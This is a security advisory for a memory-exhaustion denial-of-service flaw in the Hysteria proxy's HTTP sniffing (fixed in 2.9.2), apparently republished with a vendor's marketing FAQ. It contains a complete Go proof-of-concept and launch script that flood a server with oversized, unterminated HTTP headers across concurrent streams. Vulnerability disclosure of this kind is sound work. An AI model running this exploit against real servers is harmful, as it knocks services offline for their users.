Summary
Hysteria: http large header with sniff cause server DoS
Sending an excessively large header by an attacker could lead to a server-side DoS attack.
Details
The current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \r\n\r\n, leading to ServerDoS and OutOfMemory errors.
PoC
server.yaml
listen: 127.0.0.1:8443
tls:
cert: poc_server.crt
key: poc_server.key
auth:
type: password
password: sniff-poc-password
sniff:
enable: true
timeout: 10s
rewriteDomain: false
tcpPorts: 80
masquerade:
type: string
string:
content: nope
statusCode: 404
poc.sh
#!/bin/bash
go build poc_sniff_http_dos.go
./poc_sniff_http_dos \
--server 127.0.0.1:8443 \
--auth sniff-poc-password \
--insecure \
--target-host 192.0.2.1 \
--target-port 80 \
--connections 16 \
--header-bytes 838860800 \
--linger 12
poc.go
//go:build poc
package main
import (
"crypto/sha256"
"crypto/x509"
"encoding/hex"
"errors"
"flag"
"fmt"
"net"
"strings"
"sync"
"time"
coreclient "github.com/apernet/hysteria/core/v2/client"
"github.com/apernet/hysteria/extras/v2/obfs"
)
type attackConnFactory struct {
obfuscator obfs.Obfuscator
}
func (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) {
conn, err := net.ListenUDP("udp", nil)
if err != nil {
return nil, err
}
if f.obfuscator == nil {
return conn, nil
}
return obfs.WrapPacketConn(conn, f.obfuscator), nil
}
func buildHeaderPayload(totalBytes, chunkSize int) []byte {
prefix := []byte("GET / HTTP/1.1\r\nHost: victim\r\nUser-Agent: hy2-sniff-poc\r\n")
if totalBytes <= len(prefix) {
return prefix[:totalBytes]
}
out := make([]byte, 0, totalBytes)
out = append(out, prefix...)
linePayload := chunkSize - 32
if linePayload < 64 {
linePayload = 64
}
for i := 0; len(out) < totalBytes; i++ {
line := fmt.Sprintf("X-Fill-%06d: %s\r\n", i, strings.Repeat("A", linePayload))
remain := totalBytes - len(out)
if len(line) > remain {
line = line[:remain]
}
out = append(out, line...)
}
// 故意不追加最后一个空行 \r\n,迫使服务端在 sniff timeout 内持续读 header。
return out
}
func makeClient(server, auth, sni string, insecure bool, pinSHA256, salamanderPSK string) (coreclient.Client, error) {
serverAddr, err := net.ResolveUDPAddr("udp", server)
if err != nil {
return nil, err
}
cfg := &coreclient.Config{
ConnFactory: &attackConnFactory{},
ServerAddr: serverAddr,
Auth: auth,
TLSConfig: coreclient.TLSConfig{
InsecureSkipVerify: insecure,
},
}
host, _, err := net.SplitHostPort(server)
if err == nil && sni == "" && net.ParseIP(host) == nil {
cfg.TLSConfig.ServerName = host
}
if sni != "" {
cfg.TLSConfig.ServerName = sni
}
if pinSHA256 != "" {
nHash := strings.ToLower(strings.ReplaceAll(pinSHA256, ":", ""))
cfg.TLSConfig.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
if len(rawCerts) == 0 {
return errors.New("no peer certificate")
}
h := sha256.Sum256(rawCerts[0])
if hex.EncodeToString(h[:]) == nHash {
return nil
}
return errors.New("no certificate matches the pinned hash")
}
}
if salamanderPSK != "" {
ob, err := obfs.NewSalamanderObfuscator([]byte(salamanderPSK))
if err != nil {
return nil, err
}
cfg.ConnFactory = &attackConnFactory{obfuscator: ob}
}
c, _, err := coreclient.NewClient(cfg)
return c, err
}
func worker(id int, c coreclient.Client, target string, payload []byte, sendChunk int, linger time.Duration, results []string) {
conn, err := c.TCP(target)
if err != nil {
results[id] = fmt.Sprintf("worker=%d dial error=%v", id, err)
return
}
defer conn.Close()
_ = conn.SetWriteDeadline(time.Now().Add(linger))
sent := 0
for sent < len(payload) {
end := sent + sendChunk
if end > len(payload) {
end = len(payload)
}
n, err := conn.Write(payload[sent:end])
if err != nil {
results[id] = fmt.Sprintf("worker=%d partial_sent=%d error=%v", id, sent, err)
return
}
sent += n
}
time.Sleep(linger)
results[id] = fmt.Sprintf("worker=%d sent=%d", id, sent)
}
func main() {
server := flag.String("server", "", "Hysteria server address, e.g. 1.2.3.4:443")
auth := flag.String("auth", "", "Hysteria auth string/password")
sni := flag.String("sni", "", "optional TLS SNI")
insecure := flag.Bool("insecure", false, "skip TLS verification")
pinSHA256 := flag.String("pin-sha256", "", "optional pinned server cert SHA256")
salamanderPSK := flag.String("obfs-salamander-password", "", "optional salamander obfs password")
targetHost := flag.String("target-host", "192.0.2.1", "must usually be an IP so sniff.Check() runs when rewriteDomain=false")
targetPort := flag.Int("target-port", 80, "target port that should be covered by server sniff.tcpPorts")
connections := flag.Int("connections", 16, "number of concurrent Hysteria TCP streams")
headerBytes := flag.Int("header-bytes", 8*1024*1024, "bytes of incomplete HTTP header per stream")
buildChunk := flag.Int("build-chunk", 8192, "approximate size of generated filler header lines")
sendChunk := flag.Int("send-chunk", 64*1024, "bytes written per conn.Write call")
lingerSec := flag.Float64("linger", 12, "seconds to keep each stream open after writing")
flag.Parse()
if *server == "" || *auth == "" {
panic("--server and --auth are required")
}
if !*insecure && *pinSHA256 == "" {
panic("provide one of: --insecure / --pin-sha256")
}
payload := buildHeaderPayload(*headerBytes, *buildChunk)
target := net.JoinHostPort(*targetHost, fmt.Sprintf("%d", *targetPort))
linger := time.Duration(*lingerSec * float64(time.Second))
fmt.Printf("[*] server=%s target=%s streams=%d payload=%d\n", *server, target, *connections, len(payload))
c, err := makeClient(*server, *auth, *sni, *insecure, *pinSHA256, *salamanderPSK)
if err != nil {
panic(err)
}
defer c.Close()
results := make([]string, *connections)
var wg sync.WaitGroup
start := time.Now()
for i := 0; i < *connections; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
worker(i, c, target, payload, *sendChunk, linger, results)
}(i)
}
wg.Wait()
fmt.Printf("[*] elapsed=%s\n", time.Since(start).Round(time.Millisecond))
for _, line := range results {
fmt.Printf(" %s\n", line)
}
fmt.Println("[+] sent incomplete oversized HTTP headers; check server-side memory / stability")
}
Impact
Testing showed that the server side used a maximum of 16GB.
Server memory DoS and may cause OOM.
The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.
GHSA-JQC5-2P7Q-FQFC has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.9.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is GHSA-JQC5-2P7Q-FQFC? GHSA-JQC5-2P7Q-FQFC is a high-severity allocation of resources without limits or throttling vulnerability in github.com/apernet/hysteria (go), affecting versions < 2.9.2. It is fixed in 2.9.2. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
- How severe is GHSA-JQC5-2P7Q-FQFC? GHSA-JQC5-2P7Q-FQFC has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/apernet/hysteria are affected by GHSA-JQC5-2P7Q-FQFC? github.com/apernet/hysteria (go) versions < 2.9.2 is affected.
- Is there a fix for GHSA-JQC5-2P7Q-FQFC? Yes. GHSA-JQC5-2P7Q-FQFC is fixed in 2.9.2. Upgrade to this version or later.
- Is GHSA-JQC5-2P7Q-FQFC exploitable, and should I be worried? Whether GHSA-JQC5-2P7Q-FQFC is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-JQC5-2P7Q-FQFC is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-JQC5-2P7Q-FQFC? Upgrade
github.com/apernet/hysteriato 2.9.2 or later.